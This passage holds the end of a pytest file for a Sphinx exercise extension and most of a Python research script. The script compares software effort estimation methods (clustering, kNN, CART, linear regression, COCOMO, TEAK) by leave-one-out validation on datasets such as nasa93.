path_to_directive.exists()\n\n # get content markup\n soup = BeautifulSoup(path_to_directive.read_text(encoding=\"utf8\"), \"html.parser\")\n exercise = soup.select(\"div.exercise\")\n assert len(exercise) == 0\n\n\n@pytest.mark.sphinx(\"html\", testroot=\"hiddendirectives\")\n@pytest.mark.parametrize(\n \"docname\",\n [\n \"_enum_hidden\",\n \"_unenum_hidden\",\n ],\n)\ndef test_hidden_exercise_doctree(app, docname, file_regression, get_sphinx_app_doctree):\n app.build()\n get_sphinx_app_doctree(\n app,\n docname,\n resolve=False,\n regress=True,\n )\n\n\n@pytest.mark.sphinx(\"html\", testroot=\"hiddendirectives\")\n@pytest.mark.parametrize(\n \"idir\",\n [\n \"_linked_enum_hidden.html\",\n \"_linked_unenum_hidden.html\",\n ],\n)\ndef test_hidden_solution(app, idir, file_regression):\n \"\"\"Test exercise directive markup.\"\"\"\n app.build()\n path_to_directive = app.outdir / idir\n assert path_to_directive.exists()\n\n # get content markup\n soup = BeautifulSoup(path_to_directive.read_text(encoding=\"utf8\"), \"html.parser\")\n solution = soup.select(\"div.solution\")\n assert len(solution) == 0\n\n\n@pytest.mark.sphinx(\"html\", testroot=\"hiddendirectives\")\n@pytest.mark.parametrize(\n \"docname\",\n [\n \"_linked_enum_hidden\",\n \"_linked_unenum_hidden\",\n ],\n)\ndef test_hidden_solution_doctree(app, docname, file_regression, get_sphinx_app_doctree):\n app.build()\n get_sphinx_app_doctree(\n app,\n docname,\n resolve=False,\n regress=True,\n )\n", "source": "psychemedia/sphinx-exercise", "license": "MIT"} {"text": "from __future__ import division,print_function\nimport sys, random, math\nimport numpy as np\nfrom sklearn.tree import DecisionTreeClassifier , DecisionTreeRegressor\nfrom sklearn.linear_model import LinearRegression\nfrom lib import *\nfrom where2 import *\nimport Technix.sk as sk\nimport Technix.CoCoMo as CoCoMo\nimport Technix.sdivUtil as sdivUtil\nfrom Technix.smote import smote\nfrom Technix.batman import smotify\nfrom Technix.TEAK import teak, leafTeak, teakImproved\nfrom Technix.atlm import lin_reg\nfrom Technix.atlm_pruned import lin_reg_pruned\nfrom Models import *\nMODEL = nasa93.nasa93\n\"\"\"\nCreates a generator of 1 test record \nand rest training records\n\"\"\" \ndef loo(dataset):\n for index,item in enumerate(dataset):\n yield item, dataset[:index]+dataset[index+1:]\n\n\"\"\"\n### Printing Stuff\nPrint without newline:\nCourtesy @timm\n\"\"\"\ndef say(*lst): \n print(*lst,end=\"\")\n sys.stdout.flush()\n\ndef formatForCART(dataset,test,trains):\n def indep(x):\n rets=[]\n indeps = x.cells[:len(dataset.indep)]\n for i,val in enumerate(indeps):\n if i not in dataset.ignores:\n rets.append(val)\n return rets\n dep = lambda x: x.cells[len(dataset.indep)]\n trainInputSet = []\n trainOutputSet = []\n for train in trains:\n trainInputSet+=[indep(train)]\n trainOutputSet+=[dep(train)]\n return trainInputSet, trainOutputSet, indep(test), dep(test)\n\n\"\"\"\nSelecting the closest cluster and the closest row\n\"\"\" \ndef clusterk1(score, duplicatedModel, tree, test, desired_effort, leafFunc):\n test_leaf = leafFunc(duplicatedModel, test, tree)\n nearest_row = closest(duplicatedModel, test, test_leaf.val)\n test_effort = effort(duplicatedModel, nearest_row)\n error = abs(desired_effort - test_effort)/desired_effort\n #print(\"clusterk1\", test_effort, desired_effort, error)\n score += error\n\ndef cluster_nearest(model, tree, test, leaf_func):\n test_leaf = leaf_func(model, test, tree)\n nearest_row = closest(model, test, test_leaf.val)\n return effort(model, nearest_row)\n \ndef clustermean2(score, duplicatedModel, tree, test, desired_effort, leafFunc):\n test_leaf = leafFunc(duplicatedModel, test, tree)\n nearestN = closestN(duplicatedModel, 2, test, test_leaf.val)\n if (len(nearestN)==1) :\n nearest_row = nearestN[0][1]\n test_effort = effort(duplicatedModel, nearest_row)\n error = abs(desired_effort - test_effort)/desired_effort\n else :\n test_effort = sum(map(lambda x:effort(duplicatedModel, x[1]), nearestN[:2]))/2\n error = abs(desired_effort - test_effort)/desired_effort \n score += error\n\ndef cluster_weighted_mean2(model, tree, test, leaf_func):\n test_leaf = leaf_func(model, test, tree)\n nearest_rows = closestN(model, 2, test, test_leaf.val)\n wt_0 = nearest_rows[1][0]/(nearest_rows[0][0] + nearest_rows[1][0] + 0.000001)\n wt_1 = nearest_rows[0][0]/(nearest_rows[0][0] + nearest_rows[1][0] + 0.000001)\n return effort(model, nearest_rows[0][1]) * wt_0 + effort(model, nearest_rows[1][1]) * wt_1\n\ndef clusterWeightedMean2(score, duplicatedModel, tree, test, desired_effort, leafFunc):\n test_leaf = leafFunc(duplicatedModel, test, tree)\n nearestN = closestN(duplicatedModel, 2, test, test_leaf.val)\n if (len(nearestN)==1) :\n nearest_row = nearestN[0][1]\n test_effort = effort(duplicatedModel, nearest_row)\n error = abs(desired_effort - test_effort)/desired_effort\n else :\n nearest2 = nearestN[:2]\n wt_0, wt_1 = nearest2[1][0]/(nearest2[0][0]+nearest2[1][0]+0.00001) , nearest2[0][0]/(nearest2[0][0]+nearest2[1][0]+0.00001)\n test_effort = effort(duplicatedModel, nearest2[0][1])*wt_0 + effort(duplicatedModel, nearest2[1][1])*wt_1\n #test_effort = sum(map(lambda x:effort(duplicatedModel, x[1]), nearestN[:2]))/2\n error = abs(desired_effort - test_effort)/desired_effort \n score += error\n \ndef clusterVasil(score, duplicatedModel, tree, test, desired_effort, leafFunc, k):\n test_leaf = leafFunc(duplicatedModel, test, tree)\n if k > len(test_leaf.val):\n k = len(test_leaf.val)\n nearestN = closestN(duplicatedModel, k, test, test_leaf.val)\n if (len(nearestN)==1) :\n nearest_row = nearestN[0][1]\n test_effort = effort(duplicatedModel, nearest_row)\n error = abs(desired_effort - test_effort)/desired_effort\n else :\n nearestk = nearestN[:k]\n test_effort, sum_wt = 0,0\n for dist, row in nearestk:\n test_effort += (1/(dist+0.000001))*effort(duplicatedModel,row)\n sum_wt += (1/(dist+0.000001))\n test_effort = test_effort / sum_wt\n error = abs(desired_effort - test_effort)/desired_effort \n score += error\n \n \n \n\"\"\"\nPerforming LinearRegression inside a cluster\nto estimate effort\n\"\"\"\ndef linRegressCluster(score, duplicatedModel, tree, test, desired_effort, leafFunc=leaf, doSmote=False):\n \n def getTrainData(rows):\n trainIPs, trainOPs = [], []\n for row in rows:\n #trainIPs.append(row.cells[:len(duplicatedModel.indep)])\n trainIPs.append([row.cosine])\n trainOPs.append(effort(duplicatedModel, row))\n return trainIPs, trainOPs\n \n def fastMapper(test_leaf, what = lambda duplicatedModel: duplicatedModel.decisions):\n data = test_leaf.val\n #data = smotify(duplicatedModel, test_leaf.val,k=5, factor=100)\n one = any(data) \n west = furthest(duplicatedModel,one,data, what = what) \n east = furthest(duplicatedModel,west,data, what = what)\n c = dist(duplicatedModel,west,east, what = what)\n test_leaf.west, test_leaf.east, test_leaf.c = west, east, c\n \n for one in data:\n if c == 0:\n one.cosine = 0\n continue\n a = dist(duplicatedModel,one,west, what = what)\n b = dist(duplicatedModel,one,east, what = what)\n x = (a*a + c*c - b*b)/(2*c) # cosine rule\n one.cosine = x\n \n def getCosine(test_leaf, what = lambda duplicatedModel: duplicatedModel.decisions):\n if (test_leaf.c == 0):\n return 0\n a = dist(duplicatedModel,test,test_leaf.west, what = what)\n b = dist(duplicatedModel,test,test_leaf.east, what = what)\n return (a*a + test_leaf.c**2 - b*b)/(2*test_leaf.c) # cosine rule\n \n test_leaf = leafFunc(duplicatedModel, test, tree)\n #if (len(test_leaf.val) < 4) :\n # test_leaf = test_leaf._up\n if (len(test_leaf.val)>1) and doSmote:\n data = smote(duplicatedModel, test_leaf.val,k=5, N=100)\n linearRegression(score, duplicatedModel, data, test, desired_effort)\n else :\n fastMapper(test_leaf)\n trainIPs, trainOPs = getTrainData(test_leaf.val)\n clf = LinearRegression()\n clf.fit(trainIPs, trainOPs)\n test_effort = clf.predict(getCosine(test_leaf))\n error = abs(desired_effort - test_effort)/desired_effort\n score += error\n \n \n\"\"\"\nPerforming LinearRegression over entire dataset\n\"\"\"\ndef linearRegression(score, model, train, test, desired_effort):\n def getTrainData(rows):\n trainIPs, trainOPs = [], []\n for row in rows:\n trainRow=[]\n for i,val in enumerate(row.cells[:len(model.indep)]):\n if i not in model.ignores:\n trainRow.append(val)\n trainIPs.append(trainRow)\n trainOPs.append(effort(model, row))\n return trainIPs, trainOPs\n \n trainIPs, trainOPs = getTrainData(train)\n clf = LinearRegression()\n clf.fit(trainIPs, trainOPs)\n testIP=[]\n for i,val in enumerate(test.cells[:len(model.indep)]):\n if i not in model.ignores:\n testIP.append(val)\n test_effort = clf.predict(testIP)\n error = abs(desired_effort - test_effort)/desired_effort\n score += error\n\n\"\"\"\nSelecting K-nearest neighbors and finding the mean\nexpected effort\n\"\"\"\ndef kNearestNeighbor(score, duplicatedModel, test, desired_effort, k=1, rows = None):\n if rows == None:\n rows = duplicatedModel._rows\n nearestN = closestN(duplicatedModel, k, test, rows)\n test_effort = sorted(map(lambda x:effort(duplicatedModel, x[1]), nearestN))[k//2]\n score += abs(desired_effort - test_effort)/desired_effort\n\ndef knn_1(model, row, rest):\n closest_1 = closestN(model, 1, row, rest)[0][1]\n return effort(model, closest_1)\n\ndef knn_3(model, row, rest):\n closest_3 = closestN(model, 3, row, rest)\n a = effort(model, closest_3[0][1])\n b = effort(model, closest_3[1][1])\n c = effort(model, closest_3[2][1])\n return (50*a + 33*b + 17*c)/100\n\n\"\"\"\nClassification and Regression Trees from sk-learn\n\"\"\"\ndef CART(dataset, score, cartIP, test, desired_effort):\n trainIp, trainOp, testIp, testOp = formatForCART(dataset, test,cartIP);\n decTree = DecisionTreeRegressor(criterion=\"mse\", random_state=1)\n decTree.fit(trainIp,trainOp)\n test_effort = decTree.predict(testIp)[0]\n score += abs(desired_effort - test_effort)/desired_effort\n\ndef cart(model, row, rest):\n train_ip, train_op, test_ip, test_op = formatForCART(model, row, rest)\n dec_tree = DecisionTreeRegressor(criterion=\"mse\", random_state=1)\n dec_tree.fit(train_ip,train_op)\n return dec_tree.predict([test_ip])[0]\n \ndef showWeights(model):\n outputStr=\"\"\n i=0\n for wt, att in sorted(zip(model.weights, model.indep)):\n outputStr += att + \" : \" + str(round(wt,2))\n i+=1\n if i%5==0:\n outputStr += \"\\n\"\n else:\n outputStr += \"\\t\"\n return outputStr.strip()\n\ndef loc_dist(m,i,j,\n what = lambda m: m.decisions):\n \"Euclidean distance 0 <= d <= 1 between decisions\"\n dec_index = what(m)[-1]\n n1 = norm(m, dec_index, i.cells[dec_index])\n n2 = norm(m, dec_index, j.cells[dec_index])\n return abs(n1-n2)\n\ndef loc_closest_n(model, n, row, other_rows):\n tmp = []\n for other_row in other_rows:\n if id(row) == id(other_row): continue\n d = loc_dist(model, row, other_row)\n tmp += [(d, other_row)]\n return sorted(tmp)[:n]\n\ndef loc_1(model, row, rows):\n closest_1 = loc_closest_n(model, 1, row, rows)[0][1]\n return effort(model, closest_1)\n\ndef loc_3(model, row, rows):\n closest_3 = loc_closest_n(model, 3, row, rows)\n a = effort(model, closest_3[0][1])\n b = effort(model, closest_3[1][1])\n c = effort(model, closest_3[2][1])\n return (50*a + 33*b + 17*c)/100\n\ndef productivity(model, row, rows):\n loc_index = model.decisions[-1]\n productivities = [effort(model, row)/one.cells[loc_index] for one in rows]\n avg_productivity = sum(productivities)/len(productivities)\n return avg_productivity*row.cells[loc_index]\n\ndef testRig(dataset=MODEL(), \n doCART = False,doKNN = False, doLinRg = False):\n scores=dict(clstr=N(), lRgCl=N())\n if doCART:\n scores['CARTT']=N();\n if doKNN:\n scores['knn_1'],scores['knn_3'],scores['knn_5'] = N(), N(), N()\n if doLinRg:\n scores['linRg'] = N()\n for score in scores.values():\n score.go=True\n for test, train in loo(dataset._rows):\n say(\".\")\n desired_effort = effort(dataset, test)\n tree = launchWhere2(dataset, rows=train, verbose=False)\n n = scores[\"clstr\"]\n n.go and clusterk1(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"lRgCl\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort)\n if doCART:\n CART(dataset, scores[\"CARTT\"], train, test, desired_effort)\n if doKNN:\n n = scores[\"knn_1\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, k=1, rows=train)\n n = scores[\"knn_3\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, k=3, rows=train)\n n = scores[\"knn_5\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, k=5, rows=train)\n if doLinRg:\n n = scores[\"linRg\"]\n n.go and linearRegression(n, dataset, train, test, desired_effort)\n return scores\n\ndef average_effort(model, rows):\n efforts = []\n for row in rows:\n efforts.append(effort(model, row))\n return sum(efforts)/len(efforts)\n\ndef effort_error(actual, computed, average):\n return abs((actual**2 - computed**2)/(actual**2 - average**2))\n #return actual - computed\n #return abs((actual**2 - computed**2)/(actual**2))\n #return abs(actual - computed)/actual\n #return ((actual - computed)/(actual - average))**2\n\n\ndef sa(*args):\n \"\"\"\n Shepperd and MacDonell's standardized error.\n SA = 1 - MAR/MARp0\n :param args: [actual, predicted, vector]\n :return: SA\n \"\"\"\n mar = abs(args[0] - args[1])\n mar_p0 = sum([abs(random.choice(args[2])-args[0]) for _ in range(1000)])/1000\n return mar/mar_p0\n\ndef msa(*args):\n \"\"\"\n Mean Standard Accuracy Error\n :param args: [[actual vals], [predicted vals], [all effort]]\n :return:\n \"\"\"\n errors = []\n for actual, predicted in zip(args[0], args[1]):\n errors.append(sa(actual, predicted, args[2]))\n return np.median(errors)\n\n\n\n\n\"\"\"\nTest Rig to test CoCoMo for\na particular dataset\n\"\"\"\ndef testCoCoMo(dataset=MODEL(), a=2.94, b=0.91):\n coc_scores = dict(COCOMO2 = N(), COCONUT= N())\n tuned_a, tuned_b = CoCoMo.coconut(dataset, dataset._rows)\n for score in coc_scores.values():\n score.go=True\n for row, rest in loo(dataset._rows):\n #say('.')\n desired_effort = effort(dataset, row)\n avg_effort = average_effort(dataset, rest)\n test_effort = CoCoMo.cocomo2(dataset, row.cells, a, b)\n test_effort_tuned = CoCoMo.cocomo2(dataset, row.cells, tuned_a, tuned_b)\n #coc_scores[\"COCOMO2\"] += ((desired_effort - test_effort) / (desired_effort - avg_effort))**2\n coc_scores[\"COCOMO2\"] += effort_error(desired_effort, test_effort, avg_effort)\n #coc_scores[\"COCONUT\"] += ((desired_effort - test_effort_tuned) / (desired_effort - avg_effort))**2\n coc_scores[\"COCONUT\"] += effort_error(desired_effort, test_effort_tuned, avg_effort)\n return coc_scores\n\ndef pruned_coconut(model, row, rows, row_count, column_ratio, noise=None):\n pruned_rows, columns = CoCoMo.prune_cocomo(model, rows, row_count, column_ratio)\n a_tuned, b_tuned = CoCoMo.coconut(model, pruned_rows, decisions=columns, noise=noise)\n return CoCoMo.cocomo2(model, row.cells, a=a_tuned, b=b_tuned, decisions=columns, noise=noise), pruned_rows\n\n\n \ndef testDriver():\n seed(0)\n skData = []\n split = \"median\"\n dataset=MODEL(split=split)\n if dataset._isCocomo:\n scores = testCoCoMo(dataset)\n for key, n in scores.items():\n skData.append([key+\". .\"] + n.cache.all)\n scores = testRig(dataset=MODEL(split=split),doCART = True, doKNN=True, doLinRg=True)\n for key,n in scores.items():\n if (key == \"clstr\" or key == \"lRgCl\"):\n skData.append([key+\"(no tuning)\"] + n.cache.all)\n else:\n skData.append([key+\". .\"] + n.cache.all)\n\n scores = testRig(dataset=MODEL(split=split, weighFeature = True), doKNN=True)\n for key,n in scores.items():\n skData.append([key+\"(sdiv_wt^1)\"] + n.cache.all)\n scores = dict(TEAK=N())\n for score in scores.values():\n score.go=True\n dataset=MODEL(split=split)\n for test, train in loo(dataset._rows):\n say(\".\")\n desired_effort = effort(dataset, test)\n tree = teak(dataset, rows = train)\n n = scores[\"TEAK\"]\n n.go and clusterk1(n, dataset, tree, test, desired_effort, leafTeak)\n for key,n in scores.items():\n skData.append([key+\". .\"] + n.cache.all)\n print(\"\")\n print(str(len(dataset._rows)) + \" data points, \" + str(len(dataset.indep)) + \" attributes\")\n print(\"\")\n sk.rdivDemo(skData)\n #launchWhere2(MODEL())\n \n#testDriver()\n\ndef testKLOCWeighDriver():\n dataset = MODEL(doTune=False, weighKLOC=True)\n tuneRatio = 0.9\n skData = [];\n while(tuneRatio <= 1.2):\n dataset.tuneRatio = tuneRatio\n scores = testRig(dataset=dataset)\n for key,n in scores.items():\n skData.append([key+\"( \"+str(tuneRatio)+\" )\"] + n.cache.all)\n tuneRatio += 0.01\n print(\"\")\n sk.rdivDemo(skData)\n\n#testKLOCWeighDriver()\n\ndef testKLOCTuneDriver():\n tuneRatio = 0.9\n skData = [];\n while(tuneRatio <= 1.2):\n dataset = MODEL(doTune=True, weighKLOC=False, klocWt=tuneRatio)\n scores = testRig(dataset=dataset)\n for key,n in scores.items():\n skData.append([key+\"( \"+str(tuneRatio)+\" )\"] + n.cache.all)\n tuneRatio += 0.01\n print(\"\")\n sk.rdivDemo(skData)\n \n#testKLOCTuneDriver()\n\n#testRig(dataset=MODEL(doTune=False, weighKLOC=False), duplicator=interpolateNTimes)\n\ndef testOverfit(dataset= MODEL(split=\"median\")):\n skData = [];\n scores= dict(splitSize_2=N(),splitSize_4=N(),splitSize_8=N())\n for score in scores.values():\n score.go=True\n for test, train in loo(dataset._rows):\n say(\".\")\n desired_effort = effort(dataset, test)\n tree = launchWhere2(dataset, rows=train, verbose=False, minSize=2)\n n = scores[\"splitSize_2\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort)\n tree = launchWhere2(dataset, rows=train, verbose=False, minSize=4)\n n = scores[\"splitSize_4\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort)\n tree = launchWhere2(dataset, rows=train, verbose=False, minSize=8)\n n = scores[\"splitSize_8\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort)\n \n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n print(\"\")\n sk.rdivDemo(skData)\n \n#testOverfit()\n\ndef testSmote():\n dataset=MODEL(split=\"variance\", weighFeature=True)\n launchWhere2(dataset, verbose=False)\n skData = [];\n scores= dict(sm_knn_1_w=N(), sm_knn_3_w=N(), CART=N())\n for score in scores.values():\n score.go=True\n \n for test, train in loo(dataset._rows):\n say(\".\")\n desired_effort = effort(dataset, test)\n clones = smotify(dataset, train,k=5, factor=100)\n n = scores[\"CART\"]\n n.go and CART(dataset, scores[\"CART\"], train, test, desired_effort)\n n = scores[\"sm_knn_1_w\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, 1, clones)\n n = scores[\"sm_knn_3_w\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, 3, clones)\n \n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n if dataset._isCocomo:\n for key,n in testCoCoMo(dataset).items():\n skData.append([key] + n.cache.all)\n \n scores= dict(knn_1=N(), knn_3=N())\n dataset=MODEL(split=\"variance\", weighFeature=True)\n for test, train in loo(dataset._rows):\n say(\".\")\n desired_effort = effort(dataset, test)\n n = scores[\"knn_1_w\"]\n kNearestNeighbor(n, dataset, test, desired_effort, 1, train)\n n = scores[\"knn_3_w\"]\n kNearestNeighbor(n, dataset, test, desired_effort, 3, train)\n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n \n scores= dict(knn_1_w=N(), knn_3_w=N())\n dataset=MODEL(split=\"variance\")\n for test, train in loo(dataset._rows):\n say(\".\")\n desired_effort = effort(dataset, test)\n n = scores[\"knn_1\"]\n kNearestNeighbor(n, dataset, test, desired_effort, 1, train)\n n = scores[\"knn_3\"]\n kNearestNeighbor(n, dataset, test, desired_effort, 3, train)\n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n \n print(\"\")\n sk.rdivDemo(skData)\n \ndef testForPaper(model=MODEL):\n split=\"median\"\n print(model.__name__.upper())\n dataset=model(split=split, weighFeature=False)\n print(str(len(dataset._rows)) + \" data points, \" + str(len(dataset.indep)) + \" attributes\")\n dataset_weighted = model(split=split, weighFeature=True)\n launchWhere2(dataset, verbose=False)\n skData = []\n if dataset._isCocomo:\n for key,n in testCoCoMo(dataset).items():\n skData.append([key] + n.cache.all)\n scores = dict(CART = N(), knn_1 = N(),\n knn_3 = N(), TEAK = N(),\n vasil_2=N(), vasil_3=N(),\n vasil_4=N(), vasil_5=N(),)\n for score in scores.values():\n score.go=True\n for test, train in loo(dataset._rows):\n desired_effort = effort(dataset, test)\n tree = launchWhere2(dataset, rows=train, verbose=False)\n tree_teak = teak(dataset, rows = train)\n #n = scores[\"LSR\"]\n #n.go and linearRegression(n, dataset, train, test, desired_effort)\n n = scores[\"TEAK\"]\n n.go and clusterk1(n, dataset, tree_teak, test, desired_effort, leafTeak)\n n = scores[\"CART\"]\n n.go and CART(dataset, scores[\"CART\"], train, test, desired_effort)\n n = scores[\"knn_1\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, 1, train)\n n = scores[\"knn_3\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, 3, train)\n \n for test, train in loo(dataset_weighted._rows):\n desired_effort = effort(dataset, test)\n tree_weighted, leafFunc = launchWhere2(dataset_weighted, rows=train, verbose=False), leaf\n n = scores[\"vasil_2\"]\n n.go and clusterVasil(n, dataset_weighted, tree_weighted, test, desired_effort,leafFunc,2)\n n = scores[\"vasil_3\"]\n n.go and clusterVasil(n, dataset_weighted, tree_weighted, test, desired_effort,leafFunc,3)\n n = scores[\"vasil_4\"]\n n.go and clusterVasil(n, dataset_weighted, tree_weighted, test, desired_effort,leafFunc,4)\n n = scores[\"vasil_5\"]\n n.go and clusterVasil(n, dataset_weighted, tree_weighted, test, desired_effort,leafFunc,5)\n \n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n \n print(\"\")\n sk.rdivDemo(skData)\n print(\"\");print(\"\")\n \n \ndef testEverything(model = MODEL):\n split=\"median\"\n print('###'+model.__name__.upper())\n dataset=model(split=split, weighFeature=False)\n print('####'+str(len(dataset._rows)) + \" data points, \" + str(len(dataset.indep)) + \" attributes\")\n dataset_weighted = model(split=split, weighFeature=True)\n launchWhere2(dataset, verbose=False)\n skData = [];\n scores= dict(TEAK=N(), linear_reg=N(), CART=N(),\n wt_linRgCl=N(), wt_clstr_whr=N(),\n linRgCl=N(), clstr_whr=N(),\n t_wt_linRgCl=N(), t_wt_clstr_whr=N(),\n knn_1=N(), wt_knn_1=N(), \n clstrMn2=N(), wt_clstrMn2=N(), t_wt_clstrMn2=N(),\n PEEKING2=N(), wt_PEEKING2=N(), t_wt_PEEKING2=N(),\n t_clstr_whr=N(), t_linRgCl=N(), t_clstrMn2=N(),t_PEEKING2=N())\n #scores= dict(TEAK=N(), linear_reg=N(), linRgCl=N())\n for score in scores.values():\n score.go=True\n for test, train in loo(dataset._rows):\n #say(\".\")\n desired_effort = effort(dataset, test)\n tree = launchWhere2(dataset, rows=train, verbose=False)\n tree_teak = teakImproved(dataset, rows = train)\n n = scores[\"TEAK\"]\n n.go and clusterk1(n, dataset, tree_teak, test, desired_effort, leaf)\n n = scores[\"linear_reg\"]\n n.go and linearRegression(n, dataset, train, test, desired_effort)\n n = scores[\"clstr_whr\"]\n n.go and clusterk1(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"linRgCl\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"knn_1\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, 1, train)\n n = scores[\"clstrMn2\"]\n n.go and clustermean2(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"PEEKING2\"]\n n.go and clusterWeightedMean2(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"CART\"]\n n.go and CART(dataset, scores[\"CART\"], train, test, desired_effort)\n \n tree, leafFunc = teakImproved(dataset, rows=train, verbose=False),leaf\n n = scores[\"t_clstr_whr\"]\n n.go and clusterk1(n, dataset, tree, test, desired_effort, leafFunc)\n n = scores[\"t_linRgCl\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort, leafFunc=leafFunc)\n n = scores[\"t_clstrMn2\"]\n n.go and clustermean2(n, dataset, tree, test, desired_effort, leafFunc)\n n = scores[\"t_PEEKING2\"]\n n.go and clusterWeightedMean2(n, dataset, tree, test, desired_effort, leafFunc)\n \n for test, train in loo(dataset_weighted._rows):\n #say(\".\")\n desired_effort = effort(dataset_weighted, test)\n \n tree_weighted, leafFunc = launchWhere2(dataset_weighted, rows=train, verbose=False), leaf\n n = scores[\"wt_clstr_whr\"]\n n.go and clusterk1(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"wt_linRgCl\"]\n n.go and linRegressCluster(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc=leafFunc)\n n = scores[\"wt_clstrMn2\"]\n n.go and clustermean2(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"wt_PEEKING2\"]\n n.go and clusterWeightedMean2(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n \n tree_weighted, leafFunc = teakImproved(dataset_weighted, rows=train, verbose=False),leaf\n n = scores[\"t_wt_clstr_whr\"]\n n.go and clusterk1(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"t_wt_linRgCl\"]\n n.go and linRegressCluster(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc=leafFunc)\n n = scores[\"wt_knn_1\"]\n n.go and kNearestNeighbor(n, dataset_weighted, test, desired_effort, 1, train)\n n = scores[\"t_wt_clstrMn2\"]\n n.go and clustermean2(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"t_wt_PEEKING2\"]\n n.go and clusterWeightedMean2(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n \n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n if dataset._isCocomo:\n for key,n in testCoCoMo(dataset).items():\n skData.append([key] + n.cache.all)\n print(\"\\n####Attributes\")\n print(\"```\")\n print(showWeights(dataset_weighted))\n print(\"```\\n\")\n print(\"```\")\n sk.rdivDemo(skData)\n print(\"```\");print(\"\")\n\n \ndef testTeakified(model = MODEL):\n split=\"median\"\n print('###'+model.__name__.upper())\n dataset=model(split=split, weighFeature=False)\n print('####'+str(len(dataset._rows)) + \" data points, \" + str(len(dataset.indep)) + \" attributes\")\n dataset_weighted = model(split=split, weighFeature=True)\n launchWhere2(dataset, verbose=False)\n skData = [];\n scores= dict(linear_reg=N(), CART=N(),\n linRgCl_wt=N(), clstr_whr_wt=N(),\n linRgCl=N(), clstr_whr=N(),\n knn_1=N(), knn_1_wt=N(), \n clstrMn2=N(), clstrMn2_wt=N(),\n PEEKING2=N(), PEEKING2_wt=N())\n #scores= dict(TEAK=N(), linear_reg=N(), linRgCl=N())\n for score in scores.values():\n score.go=True\n for test, train in loo(dataset._rows):\n #say(\".\")\n desired_effort = effort(dataset, test)\n tree = teakImproved(dataset, rows=train, verbose=False)\n n = scores[\"linear_reg\"]\n n.go and linearRegression(n, dataset, train, test, desired_effort)\n n = scores[\"clstr_whr\"]\n n.go and clusterk1(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"linRgCl\"]\n n.go and linRegressCluster(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"knn_1\"]\n n.go and kNearestNeighbor(n, dataset, test, desired_effort, 1, train)\n n = scores[\"clstrMn2\"]\n n.go and clustermean2(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"PEEKING2\"]\n n.go and clusterWeightedMean2(n, dataset, tree, test, desired_effort, leaf)\n n = scores[\"CART\"]\n n.go and CART(dataset, scores[\"CART\"], train, test, desired_effort)\n \n for test, train in loo(dataset_weighted._rows):\n #say(\".\")\n desired_effort = effort(dataset_weighted, test)\n \n tree_weighted, leafFunc = teakImproved(dataset_weighted, rows=train, verbose=False), leaf\n n = scores[\"clstr_whr_wt\"]\n n.go and clusterk1(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"linRgCl_wt\"]\n n.go and linRegressCluster(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc=leafFunc)\n n = scores[\"clstrMn2_wt\"]\n n.go and clustermean2(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"PEEKING2_wt\"]\n n.go and clusterWeightedMean2(n, dataset_weighted, tree_weighted, test, desired_effort, leafFunc)\n n = scores[\"knn_1_wt\"]\n n.go and kNearestNeighbor(n, dataset_weighted, test, desired_effort, 1, train) \n \n for key,n in scores.items():\n skData.append([key] + n.cache.all)\n if dataset._isCocomo:\n for key,n in testCoCoMo(dataset).items():\n skData.append([key] + n.cache.all) \n \n print(\"```\")\n sk.rdivDemo(skData)\n print(\"```\");print(\"\")\n \n \ndef runAllModels(test_name):\n models = [nasa93.nasa93, coc81.coc81, Mystery1.Mystery1, Mystery2.Mystery2,\n albrecht.albrecht, kemerer.kemerer, kitchenham.kitchenham,\n maxwell.maxwell, miyazaki.miyazaki, telecom.telecom, usp05.usp05,\n china.china, cosmic.cosmic, isbsg10.isbsg10]\n for model in models:\n test_name(model)\n \ndef printAttributes(model):\n dataset_weighted = model(split=\"median\", weighFeature=True)\n print('###'+model.__name__.upper())\n print(\"\\n####Attributes\")\n print(\"```\")\n print(showWeights(dataset_weighted))\n print(\"```\\n\")\n\ndef testNoth(model=MODEL):\n dataset_weighted = model(split=\"median\", weighFeature=True)\n launchWhere2(dataset_weighted, verbose=False)\n skData = [];\n scores= dict(t_wt_linRgCl_sm=N(), CART=N())\n #scores= dict(TEAK=N(), linear_reg=N(), linRgCl=N())\n for score in scores.values():\n score.go=True\n for test, train in loo(dataset_weighted._rows):\n desired_effort = effort(dataset_weighted, test)\n tree_weighted, leafFunc = launchWhere2(dataset_weighted, rows=train, 